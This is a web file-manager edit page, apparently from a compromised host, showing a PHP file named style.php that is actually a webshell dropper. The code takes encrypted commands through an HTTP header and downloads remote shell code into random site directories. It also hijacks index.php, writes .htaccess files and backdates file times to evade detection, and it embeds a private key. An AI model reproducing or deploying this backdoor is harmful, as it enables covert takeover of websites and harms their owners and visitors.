<h3>Düzenle: style.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php
error_reporting(0);
class ErrorCode
{
    const E_200400 = 200400;
}
class MsgText
{
    const PARAM_EMPTY = &#039;param is empty&#039;;
    const PARAM_TYPE = &#039;param type error&#039;;
    const VALUE_ERROR = &#039;value error&#039;;
    const NOCHANGE = &#039;no change&#039;;
    const LOCK_FILE_SUCCESS = &#039;generate lock file success,but lock index.php error&#039;;
    const LOCK_FILE_ERROR = &#039;generate lock file error&#039;;
    const REMOTE_GET_ERROR = &#039;get remote content error&#039;;
    const LOCAL_FILE_ERROR = &#039;generate local file error&#039;;
    const SUCCESS = &#039;success&#039;;
    const LOCAL_FILE_EXISTS = &#039;local file doesn\&#039;t exist&#039;;
    const REMOTE_FILE_EXISTS = &#039;remote file doesn\&#039;t exist&#039;;
    const RENAME_ERROR = &#039;rename error&#039;;
    const INDEX_ERROR = &#039;index hijack error&#039;;
    const UNKNOWN_ERROR = &#039;unknown error&#039;;
    const DECRYPT_FAIL = &#039;params decrypt fail&#039;;
}
function error($msg = MsgText::UNKNOWN_ERROR, $extras = [], $code = 0)
{
    empty($code) &amp;&amp; $code = ErrorCode::E_200400;
    exit(@json_encode([&#039;code&#039; =&gt; $code, &#039;msg&#039; =&gt; $msg, &#039;extras&#039; =&gt; $extras], JSON_UNESCAPED_UNICODE));
}
function success($data)
{
    exit(@json_encode([&#039;code&#039; =&gt; 200, &#039;msg&#039; =&gt; MsgText::SUCCESS, &#039;data&#039; =&gt; $data], JSON_UNESCAPED_UNICODE));
}
function getDirPathsByLevel($level = 6)
{
    $initDir = $_SERVER[&#039;DOCUMENT_ROOT&#039;];
    $dirs = array($initDir);
    $count = count($dirs);
    while (count($dirs) &gt; ($count - 1)) {
        $path = $dirs[($count - 1)];
        $count += 1;
        if (@is_dir($path) &amp;&amp; @$handle = @opendir($path)) {
            while ($file = @readdir($handle)) {
                $realpath = $path . &#039;/&#039; . $file;
                if ($file == &#039;.&#039; || $file == &#039;..&#039; || !is_dir($realpath) || substr($file, 0, 1) === &#039;.&#039;) {
                    continue;
                }
                $path3 = str_replace($initDir, &quot;&quot;, $path);
                $path4 = explode(&quot;/&quot;, $path3);
                if (count($path4) &gt; $level - 1) {
                    continue;
                }
                $dirs[] = $realpath;
            }
        }
        @closedir($handle);
    }
    return $dirs;
}
function getUrl($url)
{
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_TIMEOUT, 5);
    curl_setopt($curl, CURLOPT_AUTOREFERER, 0);
    curl_exec($curl);
    $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
    curl_close($curl);
    if ($httpCode === 200) {
        $content = curl_exec($curl);
        return [&#039;code&#039; =&gt; 200, &#039;resp&#039; =&gt; $content];
    }
    return [&#039;code&#039; =&gt; 500, &#039;resp&#039; =&gt; &#039;&#039;];
}
function getRemoteContent($url)
{
    $content = @file_get_contents($url);
    if ($content === false) {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_TIMEOUT, 5);
        curl_setopt($curl, CURLOPT_AUTOREFERER, 0);
        $content = curl_exec($curl);
        curl_close($curl);
    }
    return !empty($content) &amp;&amp; is_string($content) ? $content : &#039;&#039;;
}
function copyfile($content, $localfile, $isAppend = false, $appendContent = &#039;&#039;)
{
    if ($isAppend &amp;&amp; !empty($appendContent)) {
        $content = trim($content);
        if (substr($content, -2, 2) !== &#039;?&gt;&#039;) {
            $content .= &#039; ?&gt;&#039;;
        }
        $content = $content . PHP_EOL . PHP_EOL . $appendContent;
    }
    @file_put_contents($localfile, $content);
    if (!file_exists($localfile)) {
        $openedfile = @fopen($localfile, &quot;w&quot;);
        @fwrite($openedfile, $content);
        @fclose($openedfile);
    }
    if (!file_exists($localfile)) {
        return false;
    }
    return true;
}
function updateFiletime($filepath)
{
    $ctime = filectime($filepath);
    $now = time();
    if (!($now &gt; $ctime + 31104000)) {
        $newTime = $now - (mt_rand(15552000, 31104000));
        touch($filepath, $newTime, $newTime);
        return true;
    }
    return true;
}
$privateKey = &#039;-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC30w49ItOfldQ6
dB+0gEbeeW6BEClcx+NZzmpX2YcRHFV80BurCWBavPFehV8Sy9yL2u/y3mv3QJJ+
x2kKvly8zKx4GbXPbsWJk6Ho0Rxq49oXkBarQBOqROZeaFF3Mzpd/PdLSsxEvG1M
tQd2wOx5r6XD86jyfN7LAJUUVvbJvn1CHo03nFH12k1KYwLnQfzQI5nX7yQLa0jt
fG5TA34Fm0EMbFdHWjAN/VdEjoJI6it4PCQP5wk4ga2BvVquQkuPbsbr8364d3I6
GuGAKDR0wfkT20n0E6kAmDI3ol2bfa0rQncqUS3OU3INpxOZS8eKCIgC3bM81mdi
MQ6TsAQ9AgMBAAECggEAJLGSlA2RpLdpx8lKUuOQQfSHZGfveb/E2DZl7+dSGM5J
GkMIYtnaTAKPQ8jns37SJXCsmRRhBNf05i20ABsDtAQ/ITIwopmAAPhhR3IGdCfL
bwyqGcEOq9xZB9tW965YJk7KplLl94qNXtR8Cu5zxc6UDktjHBRk/Ky/FXJOjPKM
sA8rhox7dqlZUB3I/qiqrQOgT1Bsq1BFT+2GGwRUWZ1CyFoZvhsDomdo4yhRrB0b
8Ym4MDiVqxFPVW8XB9RFD9YKt+v50Eb6iSKJNLpRmjZDNZbrEYO6NRsRBM7brDa9
n39mZWFr47wGGXXv/NhwTvRI+2Si/ZfdP4+o5TeSWQKBgQDhIVOUODisiLhk7XKb
Yu7BW1ZFcK0JxurqHN22msvA0Q/1q4RvziETjekXIn9lVKCmS/gy2O2RtuQRulAR
fc3sz2W9tNXRF8Avy0728NG0baOOwBalO8w3cCX6Nnm70pJer+iJSn3tmAKSB4LT
vbSB8pt6QgP8NPHyQdWp2LwOtwKBgQDRB8lgSaImIMJBaXERSaoNg8kxv3/cv4g5
jUlljxNQcUsj0V7XilnB3mFxq5rHjBZTsKzMMQyvhOxYhptDfw6OLtoPUk2WiBUs
l3qU0tIXNN+cTxu2SMKTjwMktkpmACJqa+k27eEUqxrKO/6SEiP9FMXHvgA4EEBM
Hww1eU9QqwKBgAWSY5Uphw2OHLIyxkFeQ3Z5ojr5vO6fA7VjnYEld6GACxsTcaWq
vlrTik9ORUTmwUscWjo38DlJA4AE0nJ8YJpZz7TQQvJ32gPUzlGCSE5k4EVqL6VL
Q5Sjq+zzaDPj1EePpvuu4kr9FiMzGGPRMCR/MqXl+F9HmC1cv8MCYDUlAoGBAK77
g7pVKaYdWkCD0iEUt4Rkw/IfSxwyQglbmwungBWhIbO0O17X9Fd0n8IWU5WkUbRx
e9XbYbE05t0cobEZFcg0tFqLHWRcOs1/aSBYc4L1whMJrjskIa6A07LR3uoQRr8r
4qkW7YrtyZluK6eABByCXSbeiTRldk3C1+eTy6/NAoGAb9/J+NWrhYSr/VoGWjui
chXCNszy4w6exVwxXQKNTtlzKxyhQfVPK2BxrptWL6KCRKpz3wh+WY2C3QYyVfwG
FB4hwDr2mY4TWF9pD194iES1yhrQGlI8XM+2LVhBl3p0x+TFgJMaTgDDqAnxpuqT
upBYqTYMlOd+VR7hENMaFqo=
-----END PRIVATE KEY-----&#039;;
$p = $_SERVER[&#039;HTTP_P&#039;];
$params = openssl_private_decrypt(base64_decode(urldecode($p)), $decrypted, $privateKey) ? $decrypted : null;
if (is_null($params)) {
    error(MsgText::DECRYPT_FAIL);
}
$params = json_decode($params, true);
if (!is_array($params)) {
    error(MsgText::PARAM_TYPE, $params);
}
if (empty($params[&#039;server&#039;])) {
    error(&#039;server &#039; . MsgText::PARAM_EMPTY);
}
if (empty($params[&#039;iden&#039;])) {
    error(&#039;iden &#039; . MsgText::PARAM_EMPTY);
}
$iden = isset($params[&#039;iden&#039;]) ? strtolower($params[&#039;iden&#039;]) : &#039;&#039;;
switch ($iden) {
    case &quot;beima&quot;:
        $res = doBeima($params);
        break;
    case &quot;rename&quot;:
        $res = doRename($params);
        break;
    case &quot;index&quot;:
        $res = doIndex($params);
        break;
    case &quot;sub&quot;:
    case &quot;htaccess&quot;:
        $res = doSub($params);
        break;
    case &quot;lock&quot;:
        $res = doLock($params);
        break;
    case &quot;style&quot;:
        $res = doStyle($params);
        break;
    default:
        error(&#039;iden &#039; . MsgText::VALUE_ERROR);
}
function doBeima($params)
{
    if (empty($params[&#039;filename&#039;])) {
        error(&#039;filename &#039; . MsgText::PARAM_EMPTY, $params);
    }
    if (empty($params[&#039;shellfile&#039;])) {
        error(&#039;shellfile &#039; . MsgText::PARAM_EMPTY, $params);
    }
    empty($params[&#039;level&#039;]) &amp;&amp; $params[&#039;level&#039;] = 6;
    $dirs = getDirPathsByLevel($params[&#039;level&#039;]);
    $temp = array_rand($dirs);
    $createDir = $dirs[$temp] . &#039;/&#039;;
    $localfilepath = $createDir . $params[&#039;filename&#039;];
    $remoteFileUrl = $params[&#039;server&#039;] . $params[&#039;shellfile&#039;];
    $content = getRemoteContent($remoteFileUrl);
    $content = json_decode($content, true);
    if (!empty($content[&#039;result&#039;])) {
        if (copyfile($content[&#039;result&#039;], $localfilepath)) {
            updateFiletime($localfilepath);
            $beimaurl = str_replace($_SERVER[&#039;DOCUMENT_ROOT&#039;], &#039;&#039;, $localfilepath);
            success(compact(&#039;localfilepath&#039;, &#039;beimaurl&#039;));
        }
        error(MsgText::LOCAL_FILE_ERROR, compact(&#039;localfilepath&#039;));
    }
    error(MsgText::REMOTE_FILE_EXISTS, compact(&#039;remoteFileUrl&#039;));
}
function doRename($params)
{
    if (empty($params[&#039;sourcename&#039;])) {
        error(&#039;sourcename &#039; . MsgText::PARAM_EMPTY, $params);
    }
    if (empty($params[&#039;rename&#039;])) {
        error(&#039;rename &#039; . MsgText::PARAM_EMPTY, $params);
    }
    if ($params[&#039;sourcename&#039;] === $params[&#039;rename&#039;]) {
        error(MsgText::NOCHANGE);
    }
    $sourceFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params[&#039;sourcename&#039;];
    $renameFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params[&#039;rename&#039;];
    $resSource = $params[&#039;server&#039;] . str_replace(strtolower($_SERVER[&#039;DOCUMENT_ROOT&#039;]), &#039;&#039;, strtolower($sourceFile));
    $resSource = str_replace(&#039;\\&#039;, &#039;/&#039;, $resSource);
    if (file_exists($sourceFile)) {
        if (rename($sourceFile, $renameFile)) {
            success($renameFile);
        } else {
            error(MsgText::RENAME_ERROR, compact(&#039;renameFile&#039;));
        }
    } else {
        error(MsgText::LOCAL_FILE_EXISTS, compact(&#039;resSource&#039;));
    }
}
function doIndex($params)
{
    if (empty($params[&#039;shellfile&#039;])) {
        error(&#039;shellfile &#039; . MsgText::PARAM_EMPTY, $params);
    }
    $remoteUrl = $params[&#039;server&#039;] . trim($params[&#039;shellfile&#039;]);
    $localfilepath = $_SERVER[&#039;DOCUMENT_ROOT&#039;] . &#039;/index.php&#039;;
    $content = getRemoteContent($remoteUrl);
    $content = json_decode($content, true);
    if (!empty($content[&#039;result&#039;])) {
        $oldContent = &#039;&#039;;
        if (file_exists($localfilepath)) {
            $oldContent = @file_get_contents($localfilepath);
        } elseif (file_exists($_SERVER[&#039;DOCUMENT_ROOT&#039;] . &#039;/index.html&#039;)) {
            $oldContent = @file_get_contents($_SERVER[&#039;DOCUMENT_ROOT&#039;] . &#039;/index.html&#039;);
        } elseif (file_exists($_SERVER[&#039;DOCUMENT_ROOT&#039;] . &#039;/index.htm&#039;)) {
            $oldContent = @file_get_contents($_SERVER[&#039;DOCUMENT_ROOT&#039;] . &#039;/index.htm&#039;);
        } elseif (file_exists($_SERVER[&#039;DOCUMENT_ROOT&#039;] . &#039;/default.html&#039;)) {
            $oldContent = @file_get_contents($_SERVER[&#039;DOCUMENT_ROOT&#039;] . &#039;/default.html&#039;);
        } elseif (file_exists($_SERVER[&#039;DOCUMENT_ROOT&#039;] . &#039;/default.htm&#039;)) {
            $oldContent = @file_get_contents($_SERVER[&#039;DOCUMENT_ROOT&#039;] . &#039;/default.htm&#039;);
        }
        if (copyfile($content[&#039;result&#039;], $localfilepath, true, $oldContent)) {
            updateFiletime($localfilepath);
            @chmod($localfilepath, 0644);
            success($localfilepath);
        }
        error(MsgText::LOCAL_FILE_ERROR, compact(&#039;localfilepath&#039;));
    }
    error(MsgText::INDEX_ERROR, compact(&#039;remoteUrl&#039;));
}
function doSub($params)
{
    if (empty($params[&#039;shellfile&#039;])) {
        error(&#039;shellfile&#039; . MsgText::PARAM_EMPTY, $params);
    }
    if (empty($params[&#039;filename&#039;])) {
        error(&#039;filename &#039; . MsgText::PARAM_EMPTY, $params);
    }
    $localfilepath = $_SERVER[&#039;DOCUMENT_ROOT&#039;] . &#039;/&#039; . $params[&#039;filename&#039;];
    $remoteFileUrl = $params[&#039;server&#039;] . $params[&#039;shellfile&#039;];
    $content = getRemoteContent($remoteFileUrl);
    $content = json_decode($content, true);
    if (!empty($content[&#039;result&#039;])) {
        if (copyfile($content[&#039;result&#039;], $localfilepath)) {
            updateFiletime($localfilepath);
            @chmod($localfilepath, 0644);
            success($localfilepath);
        }
        error(MsgText::LOCAL_FILE_ERROR, compact(&#039;localfilepath&#039;));
    }
    error(MsgText::REMOTE_GET_ERROR, compact(&#039;remoteFileUrl&#039;));
}
function doLock($params)
{
    if (empty($params[&#039;filename&#039;])) {
        error(&#039;filename &#039; . MsgText::PARAM_EMPTY, $params);
    }
    if (empty($params[&#039;domain&#039;])) {
        error(&#039;domain &#039; . MsgText::PARAM_EMPTY, $params);
    }
    if (empty($params[&#039;shellfile&#039;])) {
        error(&#039;shellfile &#039; . MsgText::PARAM_EMPTY, $params);
    }
    $localfilepath = $_SERVER[&#039;DOCUMENT_ROOT&#039;] . &#039;/&#039; . $params[&#039;filename&#039;];
    $remoteFileUrl = $params[&#039;server&#039;] . $params[&#039;shellfile&#039;];
    $content = getRemoteContent($remoteFileUrl);
    $content = json_decode($content, true);
    if (!empty($content[&#039;result&#039;])) {
        if (copyfile($content[&#039;result&#039;], $localfilepath)) {
            $lockurl = $params[&#039;domain&#039;] . $params[&#039;filename&#039;];
            $lockres = getUrl($lockurl);
            @unlink($localfilepath);
            if ($lockres[&#039;code&#039;] === 200 &amp;&amp; !empty($lockres[&#039;resp&#039;]) &amp;&amp; strpos($lockres[&#039;resp&#039;], &#039;success&#039;)) {
                success($lockres[&#039;resp&#039;]);
            }
            error(MsgText::LOCK_FILE_SUCCESS, compact(&#039;lockurl&#039;, &#039;lockres&#039;));
        }
        @unlink($localfilepath);
        error(MsgText::LOCK_FILE_ERROR, compact(&#039;localfilepath&#039;));
    }
    error(MsgText::REMOTE_GET_ERROR, compact(&#039;remoteFileUrl&#039;));
}
function doStyle($params)
{
    if (empty($params[&#039;shellfile&#039;])) {
        error(&#039;shellfile&#039; . MsgText::PARAM_EMPTY, $params);
    }
    if (empty($params[&#039;filename&#039;])) {
        error(&#039;filename &#039; . MsgText::PARAM_EMPTY, $params);
    }
    if (empty($params[&#039;domain&#039;])) {
        error(&#039;domain &#039; . MsgText::PARAM_EMPTY, $params);
    }
    $localfilepath = $params[&#039;domain&#039;] . $params[&#039;filename&#039;];
    $remoteFileUrl = $params[&#039;server&#039;] . $params[&#039;shellfile&#039;];
    $content = getRemoteContent($remoteFileUrl);
    $content = json_decode($content, true);
    if (!empty($content[&#039;result&#039;])) {
        if (copyfile($content[&#039;result&#039;], $localfilepath)) {
            updateFiletime($localfilepath);
            @chmod($localfilepath, 0644);
            success($localfilepath);
        }
        error(MsgText::LOCAL_FILE_ERROR, compact(&#039;localfilepath&#039;));
    }
    error(MsgText::REMOTE_GET_ERROR, compact(&#039;remoteFileUrl&#039;));
}</textarea><br><br>
        <button>Kaydet</button>
        </form><a href='?path=%2Fhome%2Fwebdevt%2Fwww'>⬅️ Yukarı</a>